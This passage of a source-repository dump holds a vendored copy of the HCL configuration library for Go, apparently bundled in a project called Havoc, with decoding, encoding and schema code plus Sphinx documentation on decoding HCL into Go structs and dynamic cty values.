ctx, fieldV)...) } } for name, fieldIdx := range tags.Attributes { attr := content.Attributes[name] field := val.Type().Field(fieldIdx) fieldV := val.Field(fieldIdx) if attr == nil { if !exprType.AssignableTo(field.Type) { continue } // As a special case, if the target is of type hcl.Expression then // we'll assign an actual expression that evalues to a cty null, // so the caller can deal with it within the cty realm rather // than within the Go realm. synthExpr := hcl.StaticExpr(cty.NullVal(cty.DynamicPseudoType), body.MissingItemRange()) fieldV.Set(reflect.ValueOf(synthExpr)) continue } switch { case attrType.AssignableTo(field.Type): fieldV.Set(reflect.ValueOf(attr)) case exprType.AssignableTo(field.Type): fieldV.Set(reflect.ValueOf(attr.Expr)) default: diags = append(diags, DecodeExpression( attr.Expr, ctx, fieldV.Addr().Interface(), )...) } } blocksByType := content.Blocks.ByType() for typeName, fieldIdx := range tags.Blocks { blocks := blocksByType[typeName] field := val.Type().Field(fieldIdx) ty := field.Type isSlice := false isPtr := false if ty.Kind() == reflect.Slice { isSlice = true ty = ty.Elem() } if ty.Kind() == reflect.Ptr { isPtr = true ty = ty.Elem() } if len(blocks) > 1 && !isSlice { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Duplicate %s block", typeName), Detail: fmt.Sprintf( "Only one %s block is allowed. Another was defined at %s.", typeName, blocks[0].DefRange.String(), ), Subject: &blocks[1].DefRange, }) continue } if len(blocks) == 0 { if isSlice || isPtr { if val.Field(fieldIdx).IsNil() { val.Field(fieldIdx).Set(reflect.Zero(field.Type)) } } else { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Missing %s block", typeName), Detail: fmt.Sprintf("A %s block is required.", typeName), Subject: body.MissingItemRange().Ptr(), }) } continue } switch { case isSlice: elemType := ty if isPtr { elemType = reflect.PtrTo(ty) } sli := val.Field(fieldIdx) if sli.IsNil() { sli = reflect.MakeSlice(reflect.SliceOf(elemType), len(blocks), len(blocks)) } for i, block := range blocks { if isPtr { if i >= sli.Len() { sli = reflect.Append(sli, reflect.New(ty)) } v := sli.Index(i) if v.IsNil() { v = reflect.New(ty) } diags = append(diags, decodeBlockToValue(block, ctx, v.Elem())...) sli.Index(i).Set(v) } else { if i >= sli.Len() { sli = reflect.Append(sli, reflect.Indirect(reflect.New(ty))) } diags = append(diags, decodeBlockToValue(block, ctx, sli.Index(i))...) } } if sli.Len() > len(blocks) { sli.SetLen(len(blocks)) } val.Field(fieldIdx).Set(sli) default: block := blocks[0] if isPtr { v := val.Field(fieldIdx) if v.IsNil() { v = reflect.New(ty) } diags = append(diags, decodeBlockToValue(block, ctx, v.Elem())...) val.Field(fieldIdx).Set(v) } else { diags = append(diags, decodeBlockToValue(block, ctx, val.Field(fieldIdx))...) } } } return diags } func decodeBodyToMap(body hcl.Body, ctx *hcl.EvalContext, v reflect.Value) hcl.Diagnostics { attrs, diags := body.JustAttributes() if attrs == nil { return diags } mv := reflect.MakeMap(v.Type()) for k, attr := range attrs { switch { case attrType.AssignableTo(v.Type().Elem()): mv.SetMapIndex(reflect.ValueOf(k), reflect.ValueOf(attr)) case exprType.AssignableTo(v.Type().Elem()): mv.SetMapIndex(reflect.ValueOf(k), reflect.ValueOf(attr.Expr)) default: ev := reflect.New(v.Type().Elem()) diags = append(diags, DecodeExpression(attr.Expr, ctx, ev.Interface())...) mv.SetMapIndex(reflect.ValueOf(k), ev.Elem()) } } v.Set(mv) return diags } func decodeBlockToValue(block *hcl.Block, ctx *hcl.EvalContext, v reflect.Value) hcl.Diagnostics { var diags hcl.Diagnostics ty := v.Type() switch { case blockType.AssignableTo(ty): v.Elem().Set(reflect.ValueOf(block)) case bodyType.AssignableTo(ty): v.Elem().Set(reflect.ValueOf(block.Body)) case attrsType.AssignableTo(ty): attrs, attrsDiags := block.Body.JustAttributes() if len(attrsDiags) > 0 { diags = append(diags, attrsDiags...) } v.Elem().Set(reflect.ValueOf(attrs)) default: diags = append(diags, decodeBodyToValue(block.Body, ctx, v)...) if len(block.Labels) > 0 { blockTags := getFieldTags(ty) for li, lv := range block.Labels { lfieldIdx := blockTags.Labels[li].FieldIndex v.Field(lfieldIdx).Set(reflect.ValueOf(lv)) } } } return diags } // DecodeExpression extracts the value of the given expression into the given // value. This value must be something that gocty is able to decode into, // since the final decoding is delegated to that package. // // The given EvalContext is used to resolve any variables or functions in // expressions encountered while decoding. This may be nil to require only // constant values, for simple applications that do not support variables or // functions. // // The returned diagnostics should be inspected with its HasErrors method to // determine if the populated value is valid and complete. If error diagnostics // are returned then the given value may have been partially-populated but // may still be accessed by a careful caller for static analysis and editor // integration use-cases. func DecodeExpression(expr hcl.Expression, ctx *hcl.EvalContext, val interface{}) hcl.Diagnostics { srcVal, diags := expr.Value(ctx) convTy, err := gocty.ImpliedType(val) if err != nil { panic(fmt.Sprintf("unsuitable DecodeExpression target: %s", err)) } srcVal, err = convert.Convert(srcVal, convTy) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unsuitable value type", Detail: fmt.Sprintf("Unsuitable value: %s", err.Error()), Subject: expr.StartRange().Ptr(), Context: expr.Range().Ptr(), }) return diags } err = gocty.FromCtyValue(srcVal, val) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unsuitable value type", Detail: fmt.Sprintf("Unsuitable value: %s", err.Error()), Subject: expr.StartRange().Ptr(), Context: expr.Range().Ptr(), }) } return diags } ================================================ FILE: teamserver/pkg/profile/yaotl/gohcl/doc.go ================================================ // Package gohcl allows decoding HCL configurations into Go data structures. // // It provides a convenient and concise way of describing the schema for // configuration and then accessing the resulting data via native Go // types. // // A struct field tag scheme is used, similar to other decoding and // unmarshalling libraries. The tags are formatted as in the following example: // // ThingType string `hcl:"thing_type,attr"` // // Within each tag there are two comma-separated tokens. The first is the // name of the corresponding construct in configuration, while the second // is a keyword giving the kind of construct expected. The following // kind keywords are supported: // // attr (the default) indicates that the value is to be populated from an attribute // block indicates that the value is to populated from a block // label indicates that the value is to populated from a block label // optional is the same as attr, but the field is optional // remain indicates that the value is to be populated from the remaining body after populating other fields // // "attr" fields may either be of type *hcl.Expression, in which case the raw // expression is assigned, or of any type accepted by gocty, in which case // gocty will be used to assign the value to a native Go type. // // "block" fields may be of type *hcl.Block or hcl.Body, in which case the // corresponding raw value is assigned, or may be a struct that recursively // uses the same tags. Block fields may also be slices of any of these types, // in which case multiple blocks of the corresponding type are decoded into // the slice. // // "body" can be placed on a single field of type hcl.Body to capture // the full hcl.Body that was decoded for a block. This does not allow leftover // values like "remain", so a decoding error will still be returned if leftover // fields are given. If you want to capture the decoding body PLUS leftover // fields, you must specify a "remain" field as well to prevent errors. The // body field and the remain field will both contain the leftover fields. // // "label" fields are considered only in a struct used as the type of a field // marked as "block", and are used sequentially to capture the labels of // the blocks being decoded. In this case, the name token is used only as // an identifier for the label in diagnostic messages. // // "optional" fields behave like "attr" fields, but they are optional // and will not give parsing errors if they are missing. // // "remain" can be placed on a single field that may be either of type // hcl.Body or hcl.Attributes, in which case any remaining body content is // placed into this field for delayed processing. If no "remain" field is // present then any attributes or blocks not matched by another valid tag // will cause an error diagnostic. // // Only a subset of this tagging/typing vocabulary is supported for the // "Encode" family of functions. See the EncodeIntoBody docs for full details // on the constraints there. // // Broadly-speaking this package deals with two types of error. The first is // errors in the configuration itself, which are returned as diagnostics // written with the configuration author as the target audience. The second // is bugs in the calling program, such as invalid struct tags, which are // surfaced via panics since there can be no useful runtime handling of such // errors and they should certainly not be returned to the user as diagnostics. package gohcl ================================================ FILE: teamserver/pkg/profile/yaotl/gohcl/encode.go ================================================ package gohcl import ( "fmt" "reflect" "sort" "Havoc/pkg/profile/yaotl/hclwrite" "github.com/zclconf/go-cty/cty/gocty" ) // EncodeIntoBody replaces the contents of the given hclwrite Body with // attributes and blocks derived from the given value, which must be a // struct value or a pointer to a struct value with the struct tags defined // in this package. // // This function can work only with fully-decoded data. It will ignore any // fields tagged as "remain", any fields that decode attributes into either // hcl.Attribute or hcl.Expression values, and any fields that decode blocks // into hcl.Attributes values. This function does not have enough information // to complete the decoding of these types. // // Any fields tagged as "label" are ignored by this function. Use EncodeAsBlock // to produce a whole hclwrite.Block including block labels. // // As long as a suitable value is given to encode and the destination body // is non-nil, this function will always complete. It will panic in case of // any errors in the calling program, such as passing an inappropriate type // or a nil body. // // The layout of the resulting HCL source is derived from the ordering of // the struct fields, with blank lines around nested blocks of different types. // Fields representing attributes should usually precede those representing // blocks so that the attributes can group togather in the result. For more // control, use the hclwrite API directly. func EncodeIntoBody(val interface{}, dst *hclwrite.Body) { rv := reflect.ValueOf(val) ty := rv.Type() if ty.Kind() == reflect.Ptr { rv = rv.Elem() ty = rv.Type() } if ty.Kind() != reflect.Struct { panic(fmt.Sprintf("value is %s, not struct", ty.Kind())) } tags := getFieldTags(ty) populateBody(rv, ty, tags, dst) } // EncodeAsBlock creates a new hclwrite.Block populated with the data from // the given value, which must be a struct or pointer to struct with the // struct tags defined in this package. // // If the given struct type has fields tagged with "label" tags then they // will be used in order to annotate the created block with labels. // // This function has the same constraints as EncodeIntoBody and will panic // if they are violated. func EncodeAsBlock(val interface{}, blockType string) *hclwrite.Block { rv := reflect.ValueOf(val) ty := rv.Type() if ty.Kind() == reflect.Ptr { rv = rv.Elem() ty = rv.Type() } if ty.Kind() != reflect.Struct { panic(fmt.Sprintf("value is %s, not struct", ty.Kind())) } tags := getFieldTags(ty) labels := make([]string, len(tags.Labels)) for i, lf := range tags.Labels { lv := rv.Field(lf.FieldIndex) // We just stringify whatever we find. It should always be a string // but if not then we'll still do something reasonable. labels[i] = fmt.Sprintf("%s", lv.Interface()) } block := hclwrite.NewBlock(blockType, labels) populateBody(rv, ty, tags, block.Body()) return block } func populateBody(rv reflect.Value, ty reflect.Type, tags *fieldTags, dst *hclwrite.Body) { nameIdxs := make(map[string]int, len(tags.Attributes)+len(tags.Blocks)) namesOrder := make([]string, 0, len(tags.Attributes)+len(tags.Blocks)) for n, i := range tags.Attributes { nameIdxs[n] = i namesOrder = append(namesOrder, n) } for n, i := range tags.Blocks { nameIdxs[n] = i namesOrder = append(namesOrder, n) } sort.SliceStable(namesOrder, func(i, j int) bool { ni, nj := namesOrder[i], namesOrder[j] return nameIdxs[ni] < nameIdxs[nj] }) dst.Clear() prevWasBlock := false for _, name := range namesOrder { fieldIdx := nameIdxs[name] field := ty.Field(fieldIdx) fieldTy := field.Type fieldVal := rv.Field(fieldIdx) if fieldTy.Kind() == reflect.Ptr { fieldTy = fieldTy.Elem() fieldVal = fieldVal.Elem() } if _, isAttr := tags.Attributes[name]; isAttr { if exprType.AssignableTo(fieldTy) || attrType.AssignableTo(fieldTy) { continue // ignore undecoded fields } if !fieldVal.IsValid() { continue // ignore (field value is nil pointer) } if fieldTy.Kind() == reflect.Ptr && fieldVal.IsNil() { continue // ignore } if prevWasBlock { dst.AppendNewline() prevWasBlock = false } valTy, err := gocty.ImpliedType(fieldVal.Interface()) if err != nil { panic(fmt.Sprintf("cannot encode %T as HCL expression: %s", fieldVal.Interface(), err)) } val, err := gocty.ToCtyValue(fieldVal.Interface(), valTy) if err != nil { // This should never happen, since we should always be able // to decode into the implied type. panic(fmt.Sprintf("failed to encode %T as %#v: %s", fieldVal.Interface(), valTy, err)) } dst.SetAttributeValue(name, val) } else { // must be a block, then elemTy := fieldTy isSeq := false if elemTy.Kind() == reflect.Slice || elemTy.Kind() == reflect.Array { isSeq = true elemTy = elemTy.Elem() } if bodyType.AssignableTo(elemTy) || attrsType.AssignableTo(elemTy) { continue // ignore undecoded fields } prevWasBlock = false if isSeq { l := fieldVal.Len() for i := 0; i < l; i++ { elemVal := fieldVal.Index(i) if !elemVal.IsValid() { continue // ignore (elem value is nil pointer) } if elemTy.Kind() == reflect.Ptr && elemVal.IsNil() { continue // ignore } block := EncodeAsBlock(elemVal.Interface(), name) if !prevWasBlock { dst.AppendNewline() prevWasBlock = true } dst.AppendBlock(block) } } else { if !fieldVal.IsValid() { continue // ignore (field value is nil pointer) } if elemTy.Kind() == reflect.Ptr && fieldVal.IsNil() { continue // ignore } block := EncodeAsBlock(fieldVal.Interface(), name) if !prevWasBlock { dst.AppendNewline() prevWasBlock = true } dst.AppendBlock(block) } } } } ================================================ FILE: teamserver/pkg/profile/yaotl/gohcl/schema.go ================================================ package gohcl import ( "fmt" "reflect" "sort" "strings" "Havoc/pkg/profile/yaotl" ) // ImpliedBodySchema produces a hcl.BodySchema derived from the type of the // given value, which must be a struct value or a pointer to one. If an // inappropriate value is passed, this function will panic. // // The second return argument indicates whether the given struct includes // a "remain" field, and thus the returned schema is non-exhaustive. // // This uses the tags on the fields of the struct to discover how each // field's value should be expressed within configuration. If an invalid // mapping is attempted, this function will panic. func ImpliedBodySchema(val interface{}) (schema *hcl.BodySchema, partial bool) { ty := reflect.TypeOf(val) if ty.Kind() == reflect.Ptr { ty = ty.Elem() } if ty.Kind() != reflect.Struct { panic(fmt.Sprintf("given value must be struct, not %T", val)) } var attrSchemas []hcl.AttributeSchema var blockSchemas []hcl.BlockHeaderSchema tags := getFieldTags(ty) attrNames := make([]string, 0, len(tags.Attributes)) for n := range tags.Attributes { attrNames = append(attrNames, n) } sort.Strings(attrNames) for _, n := range attrNames { idx := tags.Attributes[n] optional := tags.Optional[n] field := ty.Field(idx) var required bool switch { case field.Type.AssignableTo(exprType): // If we're decoding to hcl.Expression then absence can be // indicated via a null value, so we don't specify that // the field is required during decoding. required = false case field.Type.Kind() != reflect.Ptr && !optional: required = true default: required = false } attrSchemas = append(attrSchemas, hcl.AttributeSchema{ Name: n, Required: required, }) } blockNames := make([]string, 0, len(tags.Blocks)) for n := range tags.Blocks { blockNames = append(blockNames, n) } sort.Strings(blockNames) for _, n := range blockNames { idx := tags.Blocks[n] field := ty.Field(idx) fty := field.Type if fty.Kind() == reflect.Slice { fty = fty.Elem() } if fty.Kind() == reflect.Ptr { fty = fty.Elem() } if fty.Kind() != reflect.Struct { panic(fmt.Sprintf( "hcl 'block' tag kind cannot be applied to %s field %s: struct required", field.Type.String(), field.Name, )) } ftags := getFieldTags(fty) var labelNames []string if len(ftags.Labels) > 0 { labelNames = make([]string, len(ftags.Labels)) for i, l := range ftags.Labels { labelNames[i] = l.Name } } blockSchemas = append(blockSchemas, hcl.BlockHeaderSchema{ Type: n, LabelNames: labelNames, }) } partial = tags.Remain != nil schema = &hcl.BodySchema{ Attributes: attrSchemas, Blocks: blockSchemas, } return schema, partial } type fieldTags struct { Attributes map[string]int Blocks map[string]int Labels []labelField Remain *int Body *int Optional map[string]bool } type labelField struct { FieldIndex int Name string } func getFieldTags(ty reflect.Type) *fieldTags { ret := &fieldTags{ Attributes: map[string]int{}, Blocks: map[string]int{}, Optional: map[string]bool{}, } ct := ty.NumField() for i := 0; i < ct; i++ { field := ty.Field(i) tag := field.Tag.Get("yaotl") if tag == "" { continue } comma := strings.Index(tag, ",") var name, kind string if comma != -1 { name = tag[:comma] kind = tag[comma+1:] } else { name = tag kind = "attr" } switch kind { case "attr": ret.Attributes[name] = i case "block": ret.Blocks[name] = i case "label": ret.Labels = append(ret.Labels, labelField{ FieldIndex: i, Name: name, }) case "remain": if ret.Remain != nil { panic("only one 'remain' tag is permitted") } idx := i // copy, because this loop will continue assigning to i ret.Remain = &idx case "body": if ret.Body != nil { panic("only one 'body' tag is permitted") } idx := i // copy, because this loop will continue assigning to i ret.Body = &idx case "optional": ret.Attributes[name] = i ret.Optional[name] = true default: panic(fmt.Sprintf("invalid hcl field tag kind %q on %s %q", kind, field.Type.String(), field.Name)) } } return ret } ================================================ FILE: teamserver/pkg/profile/yaotl/gohcl/types.go ================================================ package gohcl import ( "reflect" "Havoc/pkg/profile/yaotl" ) var victimExpr hcl.Expression var victimBody hcl.Body var exprType = reflect.TypeOf(&victimExpr).Elem() var bodyType = reflect.TypeOf(&victimBody).Elem() var blockType = reflect.TypeOf((*hcl.Block)(nil)) var attrType = reflect.TypeOf((*hcl.Attribute)(nil)) var attrsType = reflect.TypeOf(hcl.Attributes(nil)) ================================================ FILE: teamserver/pkg/profile/yaotl/guide/Makefile ================================================ # Minimal makefile for Sphinx documentation # # You can set these variables from the command line. SPHINXOPTS = SPHINXBUILD = sphinx-build SPHINXPROJ = HCL SOURCEDIR = . BUILDDIR = _build # Put it first so that "make" without argument is like "make help". help: @$(SPHINXBUILD) -M help "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) .PHONY: help Makefile # Catch-all target: route all unknown targets to Sphinx using the new # "make mode" option. $(O) is meant as a shortcut for $(SPHINXOPTS). %: Makefile @$(SPHINXBUILD) -M $@ "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) ================================================ FILE: teamserver/pkg/profile/yaotl/guide/conf.py ================================================ import subprocess import os import os.path # -- Project information ----------------------------------------------------- project = u'HCL' copyright = u'2018, HashiCorp' author = u'HashiCorp' if 'READTHEDOCS_VERSION' in os.environ: version_str = os.environ['READTHEDOCS_VERSION'] else: version_str = subprocess.check_output(['git', 'describe', '--always']).strip() # The short X.Y version version = unicode(version_str) # The full version, including alpha/beta/rc tags release = unicode(version_str) # -- General configuration --------------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. # # needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ 'sphinx.ext.todo', 'sphinx.ext.githubpages', 'sphinxcontrib.golangdomain', 'sphinx.ext.autodoc', ] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # # source_suffix = ['.rst', '.md'] source_suffix = '.rst' # The master toctree document. master_doc = 'index' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set "language" from the command line for these cases. language = None # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This pattern also affects html_static_path and html_extra_path . exclude_patterns = [u'_build', 'Thumbs.db', '.DS_Store', 'env'] # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # -- Options for HTML output ------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # html_theme = 'alabaster' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. # # html_theme_options = {} # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # Custom sidebar templates, must be a dictionary that maps document names # to template names. # # The default sidebars (for documents that don't match any pattern) are # defined by theme itself. Builtin themes are using these templates by # default: ``['localtoc.html', 'relations.html', 'sourcelink.html', # 'searchbox.html']``. # # html_sidebars = {} # -- Options for HTMLHelp output --------------------------------------------- # Output file base name for HTML help builder. htmlhelp_basename = 'HCLdoc' # -- Options for LaTeX output ------------------------------------------------ latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ (master_doc, 'HCL.tex', u'HCL Documentation', u'HashiCorp', 'manual'), ] # -- Options for manual page output ------------------------------------------ # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ (master_doc, 'hcl', u'HCL Documentation', [author], 1) ] # -- Options for Texinfo output ---------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ (master_doc, 'HCL', u'HCL Documentation', author, 'HCL', 'One line description of project.', 'Miscellaneous'), ] # -- Extension configuration ------------------------------------------------- # -- Options for todo extension ---------------------------------------------- # If true, `todo` and `todoList` produce output, else they produce nothing. todo_include_todos = True ================================================ FILE: teamserver/pkg/profile/yaotl/guide/go.rst ================================================ Using HCL in a Go application ============================= HCL is itself written in Go_ and currently it is primarily intended for use as a library within other Go programs. This section describes a number of different ways HCL can be used to define and process a configuration language within a Go program. For simple situations, HCL can decode directly into Go ``struct`` values in a similar way as encoding packages such as ``encoding/json`` and ``encoding/xml``. The HCL Go API also offers some alternative approaches however, for processing languages that may be more complex or that include portions whose expected structure cannot be determined until runtime. The following sections give an overview of different ways HCL can be used in a Go program. .. toctree:: :maxdepth: 1 :caption: Sub-sections: go_parsing go_diagnostics go_decoding_gohcl go_decoding_hcldec go_expression_eval go_decoding_lowlevel go_patterns .. _Go: https://golang.org/ ================================================ FILE: teamserver/pkg/profile/yaotl/guide/go_decoding_gohcl.rst ================================================ .. go:package:: gohcl .. _go-decoding-gohcl: Decoding Into Native Go Values ============================== The most straightforward way to access the content of an HCL file is to decode into native Go values using ``reflect``, similar to the technique used by packages like ``encoding/json`` and ``encoding/xml``. Package ``gohcl`` provides functions for this sort of decoding. Function ``DecodeBody`` attempts to extract values from an HCL *body* and write them into a Go value given as a pointer: .. code-block:: go type ServiceConfig struct { Type string `hcl:"type,label"` Name string `hcl:"name,label"` ListenAddr string `hcl:"listen_addr"` } type Config struct { IOMode string `hcl:"io_mode"` Services []ServiceConfig `hcl:"service,block"` } var c Config moreDiags := gohcl.DecodeBody(f.Body, nil, &c) diags = append(diags, moreDiags...) The above example decodes the *root body* of a file ``f``, presumably loaded previously using a parser, into the variable ``c``. The field labels within the struct types imply the schema of the expected language, which is a cut-down version of the hypothetical language we showed in :ref:`intro`. The struct field labels consist of two comma-separated values. The first is the name of the corresponding argument or block type as it will appear in the input file, and the second is the type of element being named. If the second value is omitted, it defaults to ``attr``, requesting an attribute. Nested blocks are represented by a struct or a slice of that struct, and the special element type ``label`` within that struct declares that each instance of that block type must be followed by one or more block labels. In the above example, the ``service`` block type is defined to require two labels, named ``type`` and ``name``. For label fields in particular, the given name is used only to refer to the particular label in error messages when the wrong number of labels is used. By default, all declared attributes and blocks are considered to be required. An optional value is indicated by making its field have a pointer type, in which case ``nil`` is written to indicate the absence of the argument. The sections below discuss some additional decoding use-cases. For full details on the `gohcl` package, see `the godoc reference `_. .. _go-decoding-gohcl-evalcontext: Variables and Functions ----------------------- By default, arguments given in the configuration may use only literal values and the built in expression language operators, such as arithmetic. The second argument to ``gohcl.DecodeBody``, shown as ``nil`` in the previous example, allows the calling application to additionally offer variables and functions for use in expressions. Its value is a pointer to an ``hcl.EvalContext``, which will be covered in more detail in the later section :ref:`go-expression-eval`. For now, a simple example of making the id of the current process available as a single variable called ``pid``: .. code-block:: go type Context struct { Pid string } ctx := gohcl.EvalContext(&Context{ Pid: os.Getpid() }) var c Config moreDiags := gohcl.DecodeBody(f.Body, ctx, &c) diags = append(diags, moreDiags...) ``gohcl.EvalContext`` constructs an expression evaluation context from a Go struct value, making the fields available as variables and the methods available as functions, after transforming the field and method names such that each word (starting with an uppercase letter) is all lowercase and separated by underscores. .. code-block:: hcl name = "example-program (${pid})" Partial Decoding ---------------- In the examples so far, we've extracted the content from the entire input file in a single call to ``DecodeBody``. This is sufficient for many simple situations, but sometimes different parts of the file must be evaluated separately. For example: * If different parts of the file must be evaluated with different variables or functions available. * If the result of evaluating one part of the file is used to set variables or functions in another part of the file. There are several ways to perform partial decoding with ``gohcl``, all of which involve decoding into HCL's own types, such as ``hcl.Body``. The most general approach is to declare an additional struct field of type ``hcl.Body``, with the special field tag type ``remain``: .. code-block:: go type ServiceConfig struct { Type string `hcl:"type,label"` Name string `hcl:"name,label"` ListenAddr string `hcl:"listen_addr"` Remain hcl.Body `hcl:",remain"` } When a ``remain`` field is present, any element of the input body that is not matched is retained in a body saved into that field, which can then be decoded in a later call, potentially with a different evaluation context. Another option is to decode an attribute into a value of type `hcl.Expression`, which can then be evaluated separately as described in :ref:`expression-eval`. ================================================ FILE: teamserver/pkg/profile/yaotl/guide/go_decoding_hcldec.rst ================================================ .. go:package:: hcldec .. _go-decoding-hcldec: Decoding With Dynamic Schema ============================ In section :ref:`go-decoding-gohcl`, we saw the most straightforward way to access the content from an HCL file, decoding directly into a Go value whose type is known at application compile time. For some applications, it is not possible to know the schema of the entire configuration when the application is built. For example, `HashiCorp Terraform`_ uses HCL as the foundation of its configuration language, but parts of the configuration are handled by plugins loaded dynamically at runtime, and so the schemas for these portions cannot be encoded directly in the Terraform source code. HCL's ``hcldec`` package offers a different approach to decoding that allows schemas to be created at runtime, and the result to be decoded into dynamically-typed data structures. The sections below are an overview of the main parts of package ``hcldec``. For full details, see `the package godoc `_. .. _`HashiCorp Terraform`: https://www.terraform.io/ Decoder Specification --------------------- Whereas :go:pkg:`gohcl` infers the expected schema by using reflection against the given value, ``hcldec`` obtains schema through a decoding *specification*, which is a set of instructions for mapping HCL constructs onto a dynamic data structure. The ``hcldec`` package contains a number of different specifications, each implementing :go:type:`hcldec.Spec` and having a ``Spec`` suffix on its name. Each spec has two distinct functions: * Adding zero or more validation constraints on the input configuration file. * Producing a result value based on some elements from the input file. The most common pattern is for the top-level spec to be a :go:type:`hcldec.ObjectSpec` with nested specifications defining either blocks or attributes, depending on whether the configuration file will be block-structured or flat. .. code-block:: go spec := hcldec.ObjectSpec{ "io_mode": &hcldec.AttrSpec{ Name: "io_mode", Type: cty.String, }, "services": &hcldec.BlockMapSpec{ TypeName: "service", LabelNames: []string{"type", "name"}, Nested: hcldec.ObjectSpec{ "listen_addr": &hcldec.AttrSpec{ Name: "listen_addr", Type: cty.String, Required: true, }, "processes": &hcldec.BlockMapSpec{ TypeName: "service", LabelNames: []string{"name"}, Nested: hcldec.ObjectSpec{ "command": &hcldec.AttrSpec{ Name: "command", Type: cty.List(cty.String), Required: true, }, }, }, }, }, } val, moreDiags := hcldec.Decode(f.Body, spec, nil) diags = append(diags, moreDiags...) The above specification expects a configuration shaped like our example in :ref:`intro`, and calls for it to be decoded into a dynamic data structure that would have the following shape if serialized to JSON: .. code-block:: JSON { "io_mode": "async", "services": { "http": { "web_proxy": { "listen_addr": "127.0.0.1:8080", "processes": { "main": { "command": ["/usr/local/bin/awesome-app", "server"] }, "mgmt": { "command": ["/usr/local/bin/awesome-app", "mgmt"] } } } } } } .. go:package:: cty Types and Values With ``cty`` ----------------------------- HCL's expression interpreter is implemented in terms of another library called :go:pkg:`cty`, which provides a type system which HCL builds on and a robust representation of dynamic values in that type system. You could think of :go:pkg:`cty` as being a bit like Go's own :go:pkg:`reflect`, but for the results of HCL expressions rather than Go programs. The full details of this system can be found in `its own repository `_, but this section will cover the most important highlights, because ``hcldec`` specifications include :go:pkg:`cty` types (as seen in the above example) and its results are :go:pkg:`cty` values. ``hcldec`` works directly with :go:pkg:`cty` — as opposed to converting values directly into Go native types — because the functionality of the :go:pkg:`cty` packages then allows further processing of those values without any loss of fidelity or range. For example, :go:pkg:`cty` defines a JSON encoding of its values that can be decoded losslessly as long as both sides agree on the value type that is expected, which is a useful capability in systems where some sort of RPC barrier separates the main program from its plugins. Types are instances of :go:type:`cty.Type`, and are constructed from functions and variables in :go:pkg:`cty` as shown in the above example, where the string attributes are typed as ``cty.String``, which is a primitive type, and the list attribute is typed as ``cty.List(cty.String)``, which constructs a new list type with string elements. Values are instances of :go:type:`cty.Value`, and can also be constructed from functions in :go:pkg:`cty`, using the functions that include ``Val`` in their names or using the operation methods available on :go:type:`cty.Value`. In most cases you will eventually want to use the resulting data as native Go types, to pass it to non-:go:pkg:`cty`-aware code. To do this, see the guides on `Converting between types `_ (staying within :go:pkg:`cty`) and `Converting to and from native Go values `_. Partial Decoding ---------------- Because the ``hcldec`` result is always a value, the input is always entirely processed in a single call, unlike with :go:pkg:`gohcl`. However, both :go:pkg:`gohcl` and :go:pkg:`hcldec` take :go:type:`hcl.Body` as the representation of input, and so it is possible and common to mix them both in the same program. A common situation is that :go:pkg:`gohcl` is used in the main program to decode the top level of configuration, which then allows the main program to determine which plugins need to be loaded to process the leaf portions of configuration. In this case, the portions that will be interpreted by plugins are retained as opaque :go:type:`hcl.Body` until the plugins have been loaded, and then each plugin provides its :go:type:`hcldec.Spec` to allow decoding the plugin-specific configuration into a :go:type:`cty.Value` which be transmitted to the plugin for further processing. In our example from :ref:`intro`, perhaps each of the different service types is managed by a plugin, and so the main program would decode the block headers to learn which plugins are needed, but process the block bodies dynamically: .. code-block:: go type ServiceConfig struct { Type string `hcl:"type,label"` Name string `hcl:"name,label"` PluginConfig hcl.Body `hcl:",remain"` } type Config struct { IOMode string `hcl:"io_mode"` Services []ServiceConfig `hcl:"service,block"` } var c Config moreDiags := gohcl.DecodeBody(f.Body, nil, &c) diags = append(diags, moreDiags...) if moreDiags.HasErrors() { // (show diags in the UI) return } for _, sc := range c.Services { pluginName := block.Type // Totally-hypothetical plugin manager (not part of HCL) plugin, err := pluginMgr.GetPlugin(pluginName) if err != nil { diags = diags.Append(&hcl.Diagnostic{ /* ... */ }) continue } spec := plugin.ConfigSpec() // returns hcldec.Spec // Decode the block body using the plugin's given specification configVal, moreDiags := hcldec.Decode(sc.PluginConfig, spec, nil) diags = append(diags, moreDiags...) if moreDiags.HasErrors() { continue } // Again, hypothetical API within your application itself, and not // part of HCL. Perhaps plugin system serializes configVal as JSON // and sends it over to the plugin. svc := plugin.NewService(configVal) serviceMgr.AddService(sc.Name, svc) } Variables and Functions ----------------------- The final argument to ``hcldec.Decode`` is an expression evaluation context, just as with ``gohcl.DecodeBlock``. This object can be constructed using :ref:`the gohcl helper function ` as before if desired, but you can also choose to work directly with :go:type:`hcl.EvalContext` as discussed in :ref:`go-expression-eval`: .. code-block:: go ctx := &hcl.EvalContext{ Variables: map[string]cty.Value{ 